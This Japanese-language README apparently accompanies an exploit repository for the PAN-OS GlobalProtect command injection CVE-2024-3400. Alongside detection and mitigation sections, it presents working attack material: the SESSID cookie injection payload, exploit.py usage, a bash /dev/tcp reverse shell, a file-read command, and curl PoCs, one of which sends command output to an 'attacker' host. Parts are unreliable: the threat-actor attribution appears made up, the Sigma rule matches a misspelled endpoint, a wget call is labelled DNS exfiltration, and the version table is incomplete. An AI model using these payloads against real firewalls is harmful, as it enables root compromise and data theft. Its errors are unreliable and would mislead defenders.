CVE-2024-3400: Palo Alto PAN-OS GlobalProtect コマンドインジェクション RCE

CVSS 10.0 クリティカル | CWE-78: OSコマンドインジェクション | 実環境で大規模に悪用済み

概要

CVE-2024-3400 は、Palo Alto Networks PAN-OS GlobalProtect ポータルおよびゲートウェイインターフェースにおける事前認証コマンドインジェクションの脆弱性です。この脆弱性により、認証されていない攻撃者が影響を受けるファイアウォール上で root 権限で任意のコマンドを実行できる可能性があります。

発見者: Volexity（2024年4月）
関連する脅威アクター: UNC4554 / Midnight Blizzard（ロシア政府支援）
CVE ID: CVE-2024-3400
CVSS スコア: 10.0（クリティカル）
CWE: CWE-78（OSコマンドに使用される特殊要素の不適切な無効化）
影響: PAN-OS ファイアウォールアプライアンスの完全な侵害、ラテラルムーブメント、ランサムウェア展開
ステータス: 公開情報開示前に 0-day として活発に悪用

技術詳細

根本原因

この脆弱性は、GlobalProtect ポータルおよびゲートウェイコンポーネントのセッションクッキー処理に存在します。SESSID クッキーを処理する関数は、シェルコマンドに渡す前にユーザー指定入力を適切にサニタイズできません。

具体的には、シェルのメタ文字（バッククォートと変数展開）を埋め込んだ細工済み SESSID クッキーを含む、GlobalProtect ポータルエンドポイント（/global-protect/login.esp）への認証されていない HTTP リクエストにより、コマンドインジェクションが発生します。

インジェクションの仕組み

脆弱なコードパスは次のように動作します：

GlobalProtect ポータルが /global-protect/login.esp へのリクエストを受信します
SESSID クッキー値がサニタイズなしで抽出されます
この値がシェルコマンド文字列に埋め込まれます
コマンドは system() または類似の OS コマンド実行関数を介して実行されます
アプリケーションは root として実行されるため、注入されたコマンドは完全なシステム権限で実行されます

ペイロードの構築

インジェクションペイロードは、SESSID クッキー内でバッククォート区切りのコマンドを使用します：

SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py

パストラバーサル（/../../../）により意図されたディレクトリの外へ脱出し、バッククォートで囲まれた COMMAND 部分により、シェルが攻撃者の入力を実行します。出力リダイレクトやリバースシェル機構を使用して、コマンド結果を外部に持ち出すことができます。

影響を受けるバージョン

PAN-OS バージョン	影響を受ける	修正版
10.2.x	< 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1	10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1
11.0.x	< 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10

注記: PAN-OS 9.x 以前は影響を受けません。Cloud NGFW および Prisma Access は影響を受けません。

悪用

攻撃ベクトル

ネットワーク: リモート
認証: 不要
必要な権限: なし
ユーザー操作: なし
影響: 機密性、完全性、可用性の完全な侵害

観測された脅威アクターの活動

UNC4554 / Midnight Blizzard (APT29) は、2024年3月から 0-day として CVE-2024-3400 を悪用しているのが観測されています。Volexity は2024年4月12日に分析結果を公開しました。攻撃パターンには以下が含まれます：

初期アクセス: 露出した GlobalProtect ポータルへの大規模スキャン
コマンド実行: クッキーインジェクションベクトルを介したカスタム Python バックドアの展開
永続化: UPSTYLE バックドアのインストール、資格情報の窃取、設定情報の抽出
ラテラルムーブメント: 侵害したファイアウォールを内部ネットワークへの足掛かりとして使用
データの窃取: 設定ファイル、VPN 資格情報、セッショントークンの窃取
ランサムウェア: 初期侵害後にランサムウェアが展開された複数のインシデント

概念実証（PoC）の入手可能性

複数の公開 PoC がリリースされています。このリポジトリは、認可されたテストのための機能的なエクスプロイトを提供します。

再現手順

要件

Python 3.8+
requests ライブラリ
ターゲット: 脆弱な GlobalProtect ポータルが公開されている Palo Alto PAN-OS
認可されたアクセスのみ

セットアップ

pip install requests

基本エクスプロイト

python exploit.py --target https://vulnerable-firewall.example.com --command "id"

リバースシェルの例

# Start listener on attacker machine
nc -lvnp 4444

# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
  --command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"

任意ファイル読み取り

python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"

概念実証（curl）

# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
  'https://target/global-protect/login.esp'

# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
  'https://target/global-protect/login.esp'

PoC スクリプト

このリポジトリの exploit.py を参照してください。以下をサポートするフル機能の Python エクスプロイトです：

任意のコマンド実行
オプションのプロキシサポート（Burp Suite / mitmproxy）
SSL 検証の制御
タイムアウトおよびリトライ処理
レスポンス分析

検出

IOC

異常に長い、または不審な SESSID クッキーを含む /global-protect/login.esp へのリクエスト
バッククォート文字と組み合わせたパストラバーサルシーケンス（/../../）を含むクッキー
GlobalProtect コンポーネントによって生成された予期しないプロセス
ファイアウォールから不明な IP アドレスへの通常とは異なるポートでの外部接続
/opt/panlogs/tmp/device_telemetry/ に .py 拡張子で書き込まれたファイル

Sigma ルール（簡易版）

title: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query: "/global-protocol/login.esp"
    cs-cookie|contains:
      - "../"
      - "`"
  condition: selection

緩和策

即時対応

PAN-OS を更新 して上記の修正版を適用します
直ちにパッチを適用できない場合は、以下の回避策のいずれかを適用します：
- デバイステレメトリの無効化: set deviceconfig system telemetry disable yes（再起動不要で脆弱なコードパスをブロック）
- GlobalProtect ポータル/ゲートウェイのアクセス制御: 信頼できる送信元 IP のみにアクセスを制限
侵害のスキャン: /opt/panlogs/tmp/device_telemetry/ に不正なファイルがないか確認
ログのレビュー: GlobalProtect ログインログで異常な SESSID クッキー値を監査

恒久的な修正

Palo Alto Networks が提供するホットフィックスを適用します。この修正により、シェルコマンド構築前にクッキー入力が適切にサニタイズされます。

侵害評価

悪用を疑う場合：

影響を受けたファイアウォールのフォレンジックイメージを収集
すべての設定変更を監査（最終変更タイムスタンプ）
実行中のプロセスと cron ジョブを確認
不正な SSH キーとユーザーアカウントを確認
すべての VPN 資格情報と共有シークレットをローテーション
C2 通信パターンのネットワークトラフィックを調査

参考情報

免責事項

このリポジトリは、認可されたセキュリティテストおよび教育目的のみで提供されています。この脆弱性の無断悪用は違法です。著者はこの情報の誤用について責任を負いません。システムをテストする前に、必ず明示的な書面による許可を得てください。

ライセンス

MIT ライセンス - このコンテンツは、防御的セキュリティ研究および認可されたテストのために提供されています。

Palo Alto セキュリティアドバイザリ	https://security.paloaltonetworks.com/CVE-2024-3400
Volexity 分析	https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-command-injection-vulnerability-in-palo-alto-networks-pan-os/
NVD エントリ	https://nvd.nist.gov/vuln/detail/CVE-2024-3400
CWE-78 詳細	https://cwe.mitre.org/data/definitions/78.html
CISA KEV	https://www.cisa.gov/known-exploited-vulnerabilities-catalog
ATT&CK 手法	https://attack.mitre.org/techniques/T1190/

人気

cve-2024-3400-panos_rce_reproduction